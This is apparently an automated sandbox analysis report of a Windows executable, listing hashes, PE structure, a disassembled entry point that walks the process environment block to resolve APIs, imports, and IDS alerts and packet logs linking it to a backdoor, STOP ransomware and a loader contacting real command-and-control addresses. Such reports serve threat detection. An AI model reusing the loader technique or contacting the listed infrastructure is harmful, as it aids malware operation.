File name:	FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File size:	793'088 bytes
MD5:	801a00a6c89dcb9b7839a53eccfc8fc1
SHA1:	eb9ee227ca410890e51d954de4b63e1cca69f0ad
SHA256:	202259937df72d3e7e341ce852a48938616e0d98a091d976f5342bf82e132ce3
SHA512:	c2a329b139bd110e2550dcd63ba496f9b55196b259a33241067812a00ca6860eaf6023ed90fa02b9ec76212b660dcab135cddfef6dd49ea05421d897764df4c8
SSDEEP:	12288:r/at8TRzWQs9YC3VSZyw3cZY+0SOjwlXLzHYUKTOsh:rit8TRzYz3VSZ0ZE1MlbzHYBOs
TLSH:	23F42322B259C972C1091176B9D5AB12DB3D2031B7E4090BF7849AF8AF03756673B36F
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......o...+...+...+...5.r.1...5.c.:...5.u.`....,......+...R...5.\|....5.b....5.g.*...Rich+...........................PE..L...".t_...

File Icon


Icon Hash:	63656dc5654d7e0f

Static PE Info

General

Entrypoint:	0x500000
Entrypoint Section:	c"u
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x5F74E422 [Wed Sep 30 20:01:38 2020 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	eced6e789ab34d24d903c2877d4911d4

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
sub esp, 0000016Ch
xor eax, eax
push ebx
push esi
push edi
mov dword ptr [ebp-24h], eax
mov dword ptr [ebp-10h], eax
mov dword ptr [ebp-14h], eax
mov dword ptr [ebp-08h], eax
mov dword ptr [ebp-0Ch], eax
mov dword ptr [ebp-20h], eax
mov dword ptr [ebp-18h], eax
mov dword ptr [ebp-48h], 6459676Ch
mov dword ptr [ebp-44h], 78652E5Ah
mov dword ptr [ebp-40h], 00000065h
mov dword ptr [ebp-3Ch], 00000000h
call 00007F8E00F02175h
pop eax
add eax, 00000225h
mov dword ptr [ebp-04h], eax
mov eax, dword ptr fs:[00000030h]
mov dword ptr [ebp-28h], eax
mov eax, dword ptr [ebp-04h]
mov dword ptr [eax], E904C483h
mov eax, dword ptr [ebp-04h]
mov dword ptr [eax+04h], FFF03A6Fh
mov eax, dword ptr [ebp-28h]
mov eax, dword ptr [eax+0Ch]
mov eax, dword ptr [eax+1Ch]
mov eax, dword ptr [eax]
mov eax, dword ptr [eax+08h]
mov ecx, dword ptr [eax+3Ch]
mov ecx, dword ptr [ecx+eax+78h]
add ecx, eax
mov edi, dword ptr [ecx+1Ch]
mov ebx, dword ptr [ecx+20h]
mov esi, dword ptr [ecx+24h]
mov ecx, dword ptr [ecx+18h]
add esi, eax
add edi, eax
add ebx, eax
xor edx, edx
mov dword ptr [ebp-30h], esi
mov dword ptr [ebp-1Ch], edx
mov dword ptr [ebp-34h], ecx
cmp edx, dword ptr [ebp-34h]
jnc 00007F8E00F022BEh
movzx ecx, word ptr [esi+edx*2]
mov edx, dword ptr [ebx+edx*4]
mov esi, dword ptr [edi+ecx*4]
add edx, eax
mov ecx, dword ptr [edx]
add esi, eax
cmp ecx, 4D746547h
jne 00007F8E00F021C4h
cmp dword ptr [edx+04h], 6C75646Fh
jne 00007F8E00F021BBh

Rich Headers

Programming Language:

[C++] VS2008 build 21022
[ASM] VS2008 build 21022
[ C ] VS2008 build 21022
[IMP] VS2005 build 50727
[RES] VS2008 build 21022
[LNK] VS2008 build 21022

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xb26f4	0x28	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xfc000	0x3620	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x1180	0x1c	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x2558	0x40	.text
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x1000	0x144	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0xb1e64	0xb2000	e2fe946472f4f9467d1ddec6e329ed81	False	0.8469018829002809	data	7.439727296306461	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0xb3000	0x4891c	0x7c00	77f1e35aa27f30c3b17b7ef78fe437b7	False	0.030367943548387098	data	0.37509315451499103	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0xfc000	0x3620	0x3800	aacb884e245f2443c5051c06ef5928c0	False	0.63818359375	data	5.684091562278187	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
c"u	0x100000	0x5000	0x4200	b52d73fa76a446fab3fdbd8351d12e8d	False	0.7775213068181818	data	6.934257276636902	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
AFX_DIALOG_LAYOUT	0xff368	0xe	data	French	Switzerland	1.5714285714285714
RT_ICON	0xfc260	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	Tajik	Tajikistan	0.6831797235023042
RT_ICON	0xfc928	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Tajik	Tajikistan	0.6589211618257261
RT_ICON	0xfeed0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Tajik	Tajikistan	0.775709219858156
RT_DIALOG	0xff518	0x4e	data	French	Switzerland	0.8717948717948718
RT_STRING	0xff568	0xb2	data	French	Switzerland	0.6460674157303371
RT_GROUP_ICON	0xff338	0x30	data	Tajik	Tajikistan	0.9375
RT_VERSION	0xff378	0x1a0	data	French	Switzerland	0.6009615384615384

Imports

DLL

Import

KERNEL32.dll

lstrlenA, GetConsoleAliasesLengthW, SetConsoleTextAttribute, MoveFileExW, CreateDirectoryExA, FreeEnvironmentStringsA, GetModuleHandleW, GetConsoleAliasesA, ReadConsoleW, InitializeCriticalSection, WriteConsoleW, GetMailslotInfo, GetBinaryTypeW, ReplaceFileA, GetStdHandle, SetFilePointer, GetProcAddress, VirtualAlloc, WriteProfileSectionA, LoadLibraryA, GetProcessWorkingSetSize, MoveFileA, FindFirstChangeNotificationA, GetConsoleTitleW, VirtualProtect, GetCPInfoExA, SetCalendarInfoA, InterlockedPushEntrySList, GetLastError, UnregisterWait, HeapFree, GetCommandLineA, GetStartupInfoA, TerminateProcess, GetCurrentProcess, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsDebuggerPresent, HeapCreate, VirtualFree, DeleteCriticalSection, LeaveCriticalSection, EnterCriticalSection, HeapAlloc, HeapReAlloc, Sleep, ExitProcess, WriteFile, GetModuleFileNameA, GetEnvironmentStrings, FreeEnvironmentStringsW, WideCharToMultiByte, GetEnvironmentStringsW, SetHandleCount, GetFileType, TlsGetValue, TlsAlloc, TlsSetValue, TlsFree, InterlockedIncrement, SetLastError, GetCurrentThreadId, InterlockedDecrement, QueryPerformanceCounter, GetTickCount, GetCurrentProcessId, GetSystemTimeAsFileTime, InitializeCriticalSectionAndSpinCount, RtlUnwind, GetCPInfo, GetACP, GetOEMCP, IsValidCodePage, LCMapStringA, MultiByteToWideChar, LCMapStringW, GetStringTypeA, GetStringTypeW, GetLocaleInfoA, HeapSize

Possible Origin

Language of compilation system	Country where language is spoken	Map
French	Switzerland
Tajik	Tajikistan

Network Behavior

Suricata IDS Alerts

Timestamp	Protocol	SID	Signature	Source Port	Dest Port	Source IP	Dest IP
2024-07-25T02:12:06.574787+0200	TCP	2807908	ETPRO MALWARE Backdoor.Win32/Bdaejec.A Checkin	49725	799	192.168.2.8	44.221.84.105
2024-07-25T02:11:54.254099+0200	TCP	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	49720	443	192.168.2.8	52.168.117.173
2024-07-25T02:11:37.423187+0200	TCP	2807908	ETPRO MALWARE Backdoor.Win32/Bdaejec.A Checkin	49705	799	192.168.2.8	44.221.84.105
2024-07-25T02:12:13.092253+0200	TCP	2807908	ETPRO MALWARE Backdoor.Win32/Bdaejec.A Checkin	53483	799	192.168.2.8	44.221.84.105
2024-07-25T02:11:51.262475+0200	TCP	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	49714	443	192.168.2.8	188.114.96.3
2024-07-25T02:11:41.374990+0200	TCP	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	49706	443	192.168.2.8	188.114.96.3
2024-07-25T02:12:39.147645+0200	TCP	2833438	ETPRO MALWARE STOP Ransomware CnC Activity	53486	80	192.168.2.8	92.246.89.93
2024-07-25T02:12:36.241550+0200	TCP	2036334	ET MALWARE Win32/Filecoder.STOP Variant Request for Public Key	53484	80	192.168.2.8	92.246.89.93
2024-07-25T02:12:10.364407+0200	TCP	2807908	ETPRO MALWARE Backdoor.Win32/Bdaejec.A Checkin	53479	799	192.168.2.8	44.221.84.105
2024-07-25T02:11:53.279343+0200	TCP	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	443	49718	20.12.23.50	192.168.2.8
2024-07-25T02:12:16.267822+0200	TCP	2807908	ETPRO MALWARE Backdoor.Win32/Bdaejec.A Checkin	53485	799	192.168.2.8	44.221.84.105
2024-07-25T02:13:02.686225+0200	TCP	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	53487	80	192.168.2.8	92.246.89.93
2024-07-25T02:13:32.021383+0200	TCP	2833438	ETPRO MALWARE STOP Ransomware CnC Activity	53490	80	192.168.2.8	92.246.89.93
2024-07-25T02:12:10.174521+0200	TCP	2036333	ET MALWARE Win32/Vodkagats Loader Requesting Payload	49712	80	192.168.2.8	92.246.89.93
2024-07-25T02:12:12.881061+0200	TCP	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	443	53482	20.12.23.50	192.168.2.8
2024-07-25T02:13:29.191557+0200	TCP	2036334	ET MALWARE Win32/Filecoder.STOP Variant Request for Public Key	53489	80	192.168.2.8	92.246.89.93
2024-07-25T02:11:58.985071+0200	TCP	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	49722	443	192.168.2.8	188.114.96.3
2024-07-25T02:12:03.344905+0200	TCP	2807908	ETPRO MALWARE Backdoor.Win32/Bdaejec.A Checkin	49723	799	192.168.2.8	44.221.84.105
2024-07-25T02:12:12.720887+0200	TCP	2833438	ETPRO MALWARE STOP Ransomware CnC Activity	49716	80	192.168.2.8	92.246.89.93
2024-07-25T02:11:48.282804+0200	TCP	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	49709	443	192.168.2.8	188.114.96.3
2024-07-25T02:11:40.822754+0200	TCP	2807908	ETPRO MALWARE Backdoor.Win32/Bdaejec.A Checkin	49707	799	192.168.2.8	44.221.84.105
2024-07-25T02:13:05.596527+0200	TCP	2833438	ETPRO MALWARE STOP Ransomware CnC Activity	53488	80	192.168.2.8	92.246.89.93
2024-07-25T02:12:07.082056+0200	TCP	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	49724	443	192.168.2.8	188.114.96.3
2024-07-25T02:12:11.899765+0200	TCP	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	443	53481	20.12.23.50	192.168.2.8
2024-07-25T02:11:43.584244+0200	TCP	2807908	ETPRO MALWARE Backdoor.Win32/Bdaejec.A Checkin	49708	799	192.168.2.8	44.221.84.105
2024-07-25T02:12:09.735665+0200	TCP	2036334	ET MALWARE Win32/Filecoder.STOP Variant Request for Public Key	49711	80	192.168.2.8	92.246.89.93
2024-07-25T02:12:31.571326+0200	TCP	2036333	ET MALWARE Win32/Vodkagats Loader Requesting Payload	53480	80	192.168.2.8	92.246.89.93
2024-07-25T02:11:36.882980+0200	UDP	2838522	ETPRO MALWARE Backdoor.Win32/Bdaejec.A CnC Domain in DNS Lookup	53469	53	192.168.2.8	1.1.1.1

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 25, 2024 02:11:37.000855923 CEST	49705	799	192.168.2.8	44.221.84.105
Jul 25, 2024 02:11:37.006213903 CEST	799	49705	44.221.84.105	192.168.2.8
Jul 25, 2024 02:11:37.006294966 CEST	49705	799	192.168.2.8	44.221.84.105
Jul 25, 2024 02:11:37.006489038 CEST	49705	799	192.168.2.8	44.221.84.105
Jul 25, 2024 02:11:37.011291027 CEST	799	49705	44.221.84.105	192.168.2.8
Jul 25, 2024 02:11:37.423054934 CEST	799	49705	44.221.84.105	192.168.2.8
Jul 25, 2024 02:11:37.423160076 CEST	799	49705	44.221.84.105	192.168.2.8
Jul 25, 2024 02:11:37.423187017 CEST	49705	799	192.168.2.8	44.221.84.105
Jul 25, 2024 02:11:37.423239946 CEST	49705	799	192.168.2.8	44.221.84.105
Jul 25, 2024 02:11:37.674935102 CEST	49705	799	192.168.2.8	44.221.84.105
Jul 25, 2024 02:11:37.679847002 CEST	799	49705	44.221.84.105	192.168.2.8
Jul 25, 2024 02:11:40.337359905 CEST	49706	443	192.168.2.8	188.114.96.3
Jul 25, 2024 02:11:40.337400913 CEST	443	49706	188.114.96.3	192.168.2.8
Jul 25, 2024 02:11:40.337482929 CEST	49706	443	192.168.2.8	188.114.96.3
Jul 25, 2024 02:11:40.416989088 CEST	49707	799	192.168.2.8	44.221.84.105
Jul 25, 2024 02:11:40.422080040 CEST	799	49707	44.221.84.105	192.168.2.8
Jul 25, 2024 02:11:40.422190905 CEST	49707	799	192.168.2.8	44.221.84.105
Jul 25, 2024 02:11:40.422425985 CEST	49707	799	192.168.2.8	44.221.84.105
Jul 25, 2024 02:11:40.427206993 CEST	799	49707	44.221.84.105	192.168.2.8
Jul 25, 2024 02:11:40.438821077 CEST	49706	443	192.168.2.8	188.114.96.3
Jul 25, 2024 02:11:40.438842058 CEST	443	49706	188.114.96.3	192.168.2.8
Jul 25, 2024 02:11:40.822669983 CEST	799	49707	44.221.84.105	192.168.2.8
Jul 25, 2024 02:11:40.822735071 CEST	799	49707	44.221.84.105	192.168.2.8
Jul 25, 2024 02:11:40.822753906 CEST	49707	799	192.168.2.8	44.221.84.105
Jul 25, 2024 02:11:40.822797060 CEST	49707	799	192.168.2.8	44.221.84.105
Jul 25, 2024 02:11:40.824146032 CEST	49707	799	192.168.2.8	44.221.84.105
Jul 25, 2024 02:11:40.828947067 CEST	799	49707	44.221.84.105	192.168.2.8
Jul 25, 2024 02:11:40.930759907 CEST	443	49706	188.114.96.3	192.168.2.8
Jul 25, 2024 02:11:40.930881023 CEST	49706	443	192.168.2.8	188.114.96.3
Jul 25, 2024 02:11:41.010500908 CEST	49706	443	192.168.2.8	188.114.96.3
Jul 25, 2024 02:11:41.010525942 CEST	443	49706	188.114.96.3	192.168.2.8
Jul 25, 2024 02:11:41.011056900 CEST	443	49706	188.114.96.3	192.168.2.8
Jul 25, 2024 02:11:41.011137009 CEST	49706	443	192.168.2.8	188.114.96.3
Jul 25, 2024 02:11:41.025660038 CEST	49706	443	192.168.2.8	188.114.96.3
Jul 25, 2024 02:11:41.072510004 CEST	443	49706	188.114.96.3	192.168.2.8
Jul 25, 2024 02:11:41.375003099 CEST	443	49706	188.114.96.3	192.168.2.8
Jul 25, 2024 02:11:41.375071049 CEST	49706	443	192.168.2.8	188.114.96.3
Jul 25, 2024 02:11:41.375086069 CEST	443	49706	188.114.96.3	192.168.2.8
Jul 25, 2024 02:11:41.375163078 CEST	443	49706	188.114.96.3	192.168.2.8
Jul 25, 2024 02:11:41.375217915 CEST	49706	443	192.168.2.8	188.114.96.3
Jul 25, 2024 02:11:41.375217915 CEST	49706	443	192.168.2.8	188.114.96.3
Jul 25, 2024 02:11:41.387887001 CEST	49706	443	192.168.2.8	188.114.96.3
Jul 25, 2024 02:11:41.387912035 CEST	443	49706	188.114.96.3	192.168.2.8
Jul 25, 2024 02:11:43.189831972 CEST	49708	799	192.168.2.8	44.221.84.105
Jul 25, 2024 02:11:43.194869041 CEST	799	49708	44.221.84.105	192.168.2.8
Jul 25, 2024 02:11:43.194973946 CEST	49708	799	192.168.2.8	44.221.84.105
Jul 25, 2024 02:11:43.195158958 CEST	49708	799	192.168.2.8	44.221.84.105
Jul 25, 2024 02:11:43.200421095 CEST	799	49708	44.221.84.105	192.168.2.8
Jul 25, 2024 02:11:43.584112883 CEST	799	49708	44.221.84.105	192.168.2.8
Jul 25, 2024 02:11:43.584244013 CEST	49708	799	192.168.2.8	44.221.84.105
Jul 25, 2024 02:11:43.585004091 CEST	799	49708	44.221.84.105	192.168.2.8
Jul 25, 2024 02:11:43.585056067 CEST	49708	799	192.168.2.8	44.221.84.105
Jul 25, 2024 02:11:43.597759008 CEST	49708	799	192.168.2.8	44.221.84.105
Jul 25, 2024 02:11:43.603642941 CEST	799	49708	44.221.84.105	192.168.2.8
Jul 25, 2024 02:11:47.392029047 CEST	49709	443	192.168.2.8	188.114.96.3
Jul 25, 2024 02:11:47.392083883 CEST	443	49709	188.114.96.3	192.168.2.8
Jul 25, 2024 02:11:47.392146111 CEST	49709	443	192.168.2.8	188.114.96.3
Jul 25, 2024 02:11:47.411706924 CEST	49709	443	192.168.2.8	188.114.96.3
Jul 25, 2024 02:11:47.411724091 CEST	443	49709	188.114.96.3	192.168.2.8
Jul 25, 2024 02:11:47.917304039 CEST	443	49709	188.114.96.3	192.168.2.8
Jul 25, 2024 02:11:47.917390108 CEST	49709	443	192.168.2.8	188.114.96.3
Jul 25, 2024 02:11:47.921824932 CEST	49709	443	192.168.2.8	188.114.96.3
Jul 25, 2024 02:11:47.921835899 CEST	443	49709	188.114.96.3	192.168.2.8
Jul 25, 2024 02:11:47.922122955 CEST	443	49709	188.114.96.3	192.168.2.8
Jul 25, 2024 02:11:47.922207117 CEST	49709	443	192.168.2.8	188.114.96.3
Jul 25, 2024 02:11:47.928853989 CEST	49709	443	192.168.2.8	188.114.96.3
Jul 25, 2024 02:11:47.976531982 CEST	443	49709	188.114.96.3	192.168.2.8
Jul 25, 2024 02:11:48.282804966 CEST	443	49709	188.114.96.3	192.168.2.8
Jul 25, 2024 02:11:48.282881975 CEST	49709	443	192.168.2.8	188.114.96.3
Jul 25, 2024 02:11:48.282915115 CEST	443	49709	188.114.96.3	192.168.2.8
Jul 25, 2024 02:11:48.282932043 CEST	443	49709	188.114.96.3	192.168.2.8
Jul 25, 2024 02:11:48.282954931 CEST	49709	443	192.168.2.8	188.114.96.3
Jul 25, 2024 02:11:48.282978058 CEST	49709	443	192.168.2.8	188.114.96.3
Jul 25, 2024 02:11:48.283092976 CEST	49709	443	192.168.2.8	188.114.96.3
Jul 25, 2024 02:11:48.283118010 CEST	443	49709	188.114.96.3	192.168.2.8
Jul 25, 2024 02:11:48.360197067 CEST	49711	80	192.168.2.8	92.246.89.93
Jul 25, 2024 02:11:48.365103960 CEST	80	49711	92.246.89.93	192.168.2.8
Jul 25, 2024 02:11:48.365171909 CEST	49711	80	192.168.2.8	92.246.89.93
Jul 25, 2024 02:11:48.365358114 CEST	49711	80	192.168.2.8	92.246.89.93
Jul 25, 2024 02:11:48.370112896 CEST	80	49711	92.246.89.93	192.168.2.8
Jul 25, 2024 02:11:48.779721022 CEST	49712	80	192.168.2.8	92.246.89.93
Jul 25, 2024 02:11:48.787333012 CEST	80	49712	92.246.89.93	192.168.2.8
Jul 25, 2024 02:11:48.787422895 CEST	49712	80	192.168.2.8	92.246.89.93
Jul 25, 2024 02:11:48.787560940 CEST	49712	80	192.168.2.8	92.246.89.93
Jul 25, 2024 02:11:48.794572115 CEST	80	49712	92.246.89.93	192.168.2.8
Jul 25, 2024 02:11:50.361824989 CEST	49714	443	192.168.2.8	188.114.96.3
Jul 25, 2024 02:11:50.361865044 CEST	443	49714	188.114.96.3	192.168.2.8
Jul 25, 2024 02:11:50.361994028 CEST	49714	443	192.168.2.8	188.114.96.3
Jul 25, 2024 02:11:50.410104990 CEST	49714	443	192.168.2.8	188.114.96.3
Jul 25, 2024 02:11:50.410136938 CEST	443	49714	188.114.96.3	192.168.2.8
Jul 25, 2024 02:11:50.897313118 CEST	443	49714	188.114.96.3	192.168.2.8
Jul 25, 2024 02:11:50.897591114 CEST	49714	443	192.168.2.8	188.114.96.3
Jul 25, 2024 02:11:50.902030945 CEST	49714	443	192.168.2.8	188.114.96.3
Jul 25, 2024 02:11:50.902040005 CEST	443	49714	188.114.96.3	192.168.2.8
Jul 25, 2024 02:11:50.902288914 CEST	443	49714	188.114.96.3	192.168.2.8
Jul 25, 2024 02:11:50.902348042 CEST	49714	443	192.168.2.8	188.114.96.3
Jul 25, 2024 02:11:50.903992891 CEST	49714	443	192.168.2.8	188.114.96.3
Jul 25, 2024 02:11:50.944508076 CEST	443	49714	188.114.96.3	192.168.2.8
Jul 25, 2024 02:11:51.262480021 CEST	443	49714	188.114.96.3	192.168.2.8
Jul 25, 2024 02:11:51.262600899 CEST	443	49714	188.114.96.3	192.168.2.8
Jul 25, 2024 02:11:51.262656927 CEST	49714	443	192.168.2.8	188.114.96.3
Jul 25, 2024 02:11:51.262656927 CEST	49714	443	192.168.2.8	188.114.96.3
Jul 25, 2024 02:11:51.262876034 CEST	49714	443	192.168.2.8	188.114.96.3
Jul 25, 2024 02:11:51.262893915 CEST	443	49714	188.114.96.3	192.168.2.8
Jul 25, 2024 02:11:51.329035044 CEST	49716	80	192.168.2.8	92.246.89.93
Jul 25, 2024 02:11:51.334029913 CEST	80	49716	92.246.89.93	192.168.2.8
Jul 25, 2024 02:11:51.334101915 CEST	49716	80	192.168.2.8	92.246.89.93
Jul 25, 2024 02:11:51.334244967 CEST	49716	80	192.168.2.8	92.246.89.93
Jul 25, 2024 02:11:51.339003086 CEST	80	49716	92.246.89.93	192.168.2.8
Jul 25, 2024 02:11:58.071302891 CEST	49722	443	192.168.2.8	188.114.96.3
Jul 25, 2024 02:11:58.071348906 CEST	443	49722	188.114.96.3	192.168.2.8
Jul 25, 2024 02:11:58.071422100 CEST	49722	443	192.168.2.8	188.114.96.3
Jul 25, 2024 02:11:58.082540035 CEST	49722	443	192.168.2.8	188.114.96.3
Jul 25, 2024 02:11:58.082557917 CEST	443	49722	188.114.96.3	192.168.2.8
Jul 25, 2024 02:11:58.605524063 CEST	443	49722	188.114.96.3	192.168.2.8
Jul 25, 2024 02:11:58.605618954 CEST	49722	443	192.168.2.8	188.114.96.3
Jul 25, 2024 02:11:58.610236883 CEST	49722	443	192.168.2.8	188.114.96.3
Jul 25, 2024 02:11:58.610249996 CEST	443	49722	188.114.96.3	192.168.2.8
Jul 25, 2024 02:11:58.610496998 CEST	443	49722	188.114.96.3	192.168.2.8
Jul 25, 2024 02:11:58.610553026 CEST	49722	443	192.168.2.8	188.114.96.3
Jul 25, 2024 02:11:58.612164021 CEST	49722	443	192.168.2.8	188.114.96.3
Jul 25, 2024 02:11:58.656497002 CEST	443	49722	188.114.96.3	192.168.2.8
Jul 25, 2024 02:11:58.985083103 CEST	443	49722	188.114.96.3	192.168.2.8
Jul 25, 2024 02:11:58.985148907 CEST	49722	443	192.168.2.8	188.114.96.3
Jul 25, 2024 02:11:58.985171080 CEST	443	49722	188.114.96.3	192.168.2.8
Jul 25, 2024 02:11:58.985183001 CEST	443	49722	188.114.96.3	192.168.2.8
Jul 25, 2024 02:11:58.985219955 CEST	49722	443	192.168.2.8	188.114.96.3
Jul 25, 2024 02:11:58.985239029 CEST	49722	443	192.168.2.8	188.114.96.3
Jul 25, 2024 02:11:58.985498905 CEST	49722	443	192.168.2.8	188.114.96.3
Jul 25, 2024 02:11:58.985512972 CEST	443	49722	188.114.96.3	192.168.2.8
Jul 25, 2024 02:12:02.958216906 CEST	49723	799	192.168.2.8	44.221.84.105
Jul 25, 2024 02:12:02.963480949 CEST	799	49723	44.221.84.105	192.168.2.8
Jul 25, 2024 02:12:02.963588953 CEST	49723	799	192.168.2.8	44.221.84.105
Jul 25, 2024 02:12:03.003374100 CEST	49723	799	192.168.2.8	44.221.84.105
Jul 25, 2024 02:12:03.008302927 CEST	799	49723	44.221.84.105	192.168.2.8
Jul 25, 2024 02:12:03.344804049 CEST	799	49723	44.221.84.105	192.168.2.8
Jul 25, 2024 02:12:03.344904900 CEST	49723	799	192.168.2.8	44.221.84.105
Jul 25, 2024 02:12:03.345103025 CEST	799	49723	44.221.84.105	192.168.2.8
Jul 25, 2024 02:12:03.345172882 CEST	49723	799	192.168.2.8	44.221.84.105
Jul 25, 2024 02:12:03.346811056 CEST	49723	799	192.168.2.8	44.221.84.105
Jul 25, 2024 02:12:03.351650000 CEST	799	49723	44.221.84.105	192.168.2.8
Jul 25, 2024 02:12:06.091063023 CEST	49724	443	192.168.2.8	188.114.96.3
Jul 25, 2024 02:12:06.091109991 CEST	443	49724	188.114.96.3	192.168.2.8
Jul 25, 2024 02:12:06.091183901 CEST	49724	443	192.168.2.8	188.114.96.3
Jul 25, 2024 02:12:06.098838091 CEST	49724	443	192.168.2.8	188.114.96.3
Jul 25, 2024 02:12:06.098855972 CEST	443	49724	188.114.96.3	192.168.2.8
Jul 25, 2024 02:12:06.161931992 CEST	49725	799	192.168.2.8	44.221.84.105
Jul 25, 2024 02:12:06.167324066 CEST	799	49725	44.221.84.105	192.168.2.8
Jul 25, 2024 02:12:06.167467117 CEST	49725	799	192.168.2.8	44.221.84.105
Jul 25, 2024 02:12:06.169009924 CEST	49725	799	192.168.2.8	44.221.84.105
Jul 25, 2024 02:12:06.173846960 CEST	799	49725	44.221.84.105	192.168.2.8
Jul 25, 2024 02:12:06.574656963 CEST	799	49725	44.221.84.105	192.168.2.8
Jul 25, 2024 02:12:06.574786901 CEST	49725	799	192.168.2.8	44.221.84.105
Jul 25, 2024 02:12:06.575124979 CEST	799	49725	44.221.84.105	192.168.2.8
Jul 25, 2024 02:12:06.575185061 CEST	49725	799	192.168.2.8	44.221.84.105
Jul 25, 2024 02:12:06.575917006 CEST	443	49724	188.114.96.3	192.168.2.8
Jul 25, 2024 02:12:06.575999022 CEST	49724	443	192.168.2.8	188.114.96.3
Jul 25, 2024 02:12:06.729553938 CEST	49725	799	192.168.2.8	44.221.84.105
Jul 25, 2024 02:12:06.734539032 CEST	799	49725	44.221.84.105	192.168.2.8
Jul 25, 2024 02:12:06.736152887 CEST	49724	443	192.168.2.8	188.114.96.3
Jul 25, 2024 02:12:06.736181974 CEST	443	49724	188.114.96.3	192.168.2.8
Jul 25, 2024 02:12:06.736968994 CEST	443	49724	188.114.96.3	192.168.2.8
Jul 25, 2024 02:12:06.737031937 CEST	49724	443	192.168.2.8	188.114.96.3
Jul 25, 2024 02:12:06.739289999 CEST	49724	443	192.168.2.8	188.114.96.3
Jul 25, 2024 02:12:06.784509897 CEST	443	49724	188.114.96.3	192.168.2.8
Jul 25, 2024 02:12:07.082029104 CEST	443	49724	188.114.96.3	192.168.2.8
Jul 25, 2024 02:12:07.082149982 CEST	443	49724	188.114.96.3	192.168.2.8
Jul 25, 2024 02:12:07.082209110 CEST	49724	443	192.168.2.8	188.114.96.3
Jul 25, 2024 02:12:07.082209110 CEST	49724	443	192.168.2.8	188.114.96.3
Jul 25, 2024 02:12:07.084510088 CEST	49724	443	192.168.2.8	188.114.96.3
Jul 25, 2024 02:12:07.084536076 CEST	443	49724	188.114.96.3	192.168.2.8
Jul 25, 2024 02:12:09.735605001 CEST	80	49711	92.246.89.93	192.168.2.8
Jul 25, 2024 02:12:09.735665083 CEST	49711	80	192.168.2.8	92.246.89.93
Jul 25, 2024 02:12:09.736285925 CEST	49711	80	192.168.2.8	92.246.89.93
Jul 25, 2024 02:12:09.740983009 CEST	80	49711	92.246.89.93	192.168.2.8
Jul 25, 2024 02:12:09.955559969 CEST	53479	799	192.168.2.8	44.221.84.105
Jul 25, 2024 02:12:09.960692883 CEST	799	53479	44.221.84.105	192.168.2.8
Jul 25, 2024 02:12:09.960808039 CEST	53479	799	192.168.2.8	44.221.84.105
Jul 25, 2024 02:12:09.961146116 CEST	53479	799	192.168.2.8	44.221.84.105
Jul 25, 2024 02:12:09.977905989 CEST	799	53479	44.221.84.105	192.168.2.8
Jul 25, 2024 02:12:10.174266100 CEST	80	49712	92.246.89.93	192.168.2.8
Jul 25, 2024 02:12:10.174520969 CEST	49712	80	192.168.2.8	92.246.89.93
Jul 25, 2024 02:12:10.174520969 CEST	49712	80	192.168.2.8	92.246.89.93
Jul 25, 2024 02:12:10.175328970 CEST	53480	80	192.168.2.8	92.246.89.93
Jul 25, 2024 02:12:10.179325104 CEST	80	49712	92.246.89.93	192.168.2.8
